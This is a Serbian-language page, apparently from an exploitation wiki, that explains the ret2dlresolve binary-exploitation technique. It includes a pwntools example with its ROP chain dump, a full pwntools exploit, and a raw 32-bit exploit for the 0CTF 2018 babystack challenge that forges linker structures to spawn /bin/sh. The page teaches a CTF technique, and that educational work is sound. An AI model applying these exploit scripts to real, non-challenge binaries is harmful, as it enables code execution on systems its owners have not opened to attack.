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Ret2dlresolve

Reading time: 6 minutes

Osnovne informacije

Kao što je objašnjeno na stranici o GOT/PLT i Relro, binarni fajlovi bez Full Relro će rešavati simbole (kao što su adrese do eksternih biblioteka) prvi put kada se koriste. Ova rezolucija se dešava pozivanjem funkcije _dl_runtime_resolve.

Funkcija _dl_runtime_resolve uzima sa steka reference na neke strukture koje su joj potrebne da reši specificirani simbol.

Stoga, moguće je falsifikovati sve te strukture kako bi dinamički povezano rešavanje traženog simbola (kao što je funkcija system) i pozvati je sa konfigurisanom parametrima (npr. system('/bin/sh')).

Obično, sve te strukture se falsifikuju pravljenjem početnog ROP lanca koji poziva read preko zapisive memorije, zatim se strukture i string '/bin/sh' prosleđuju tako da ih read sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući _dl_runtime_resolve, imajući ga da reši adresu system u falsifikovanim strukturama i poziva ovu adresu sa adresom do $'/bin/sh'.

Pogledajte ovaj video za lepo objašnjenje o ovoj tehnici u drugoj polovini videa:

- YouTube

Ili pogledajte ove stranice za objašnjenje korak po korak:

• https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Sažetak napada

1. Napisati falsifikovane strukture na nekom mestu
2. Postaviti prvi argument funkcije system ($rdi = &'/bin/sh')
3. Postaviti na stek adrese do struktura da pozove _dl_runtime_resolve
4. Pozvati _dl_runtime_resolve
5. system će biti rešen i pozvan sa '/bin/sh' kao argumentom

Iz pwntools dokumentacije, ovako izgleda ret2dlresolve napad:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

Primer

Čisti Pwntools

Možete pronaći primer ove tehnike ovde koji sadrži veoma dobro objašnjenje konačnog ROP lanca, ali ovde je konačni exploit koji je korišćen:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Sirovo

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

Ostali Primeri i Reference

• https://youtu.be/ADULSwnQs-s
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
• https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
• 32bit, bez relro, bez kanarija, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove read sa .bss sekcijom i većom veličinom, da bi se u nju smeštale dlresolve lažne tabele za učitavanje system, vraćanje na main i ponovna zloupotreba inicijalnog bof-a za pozivanje dlresolve i zatim system('/bin/sh').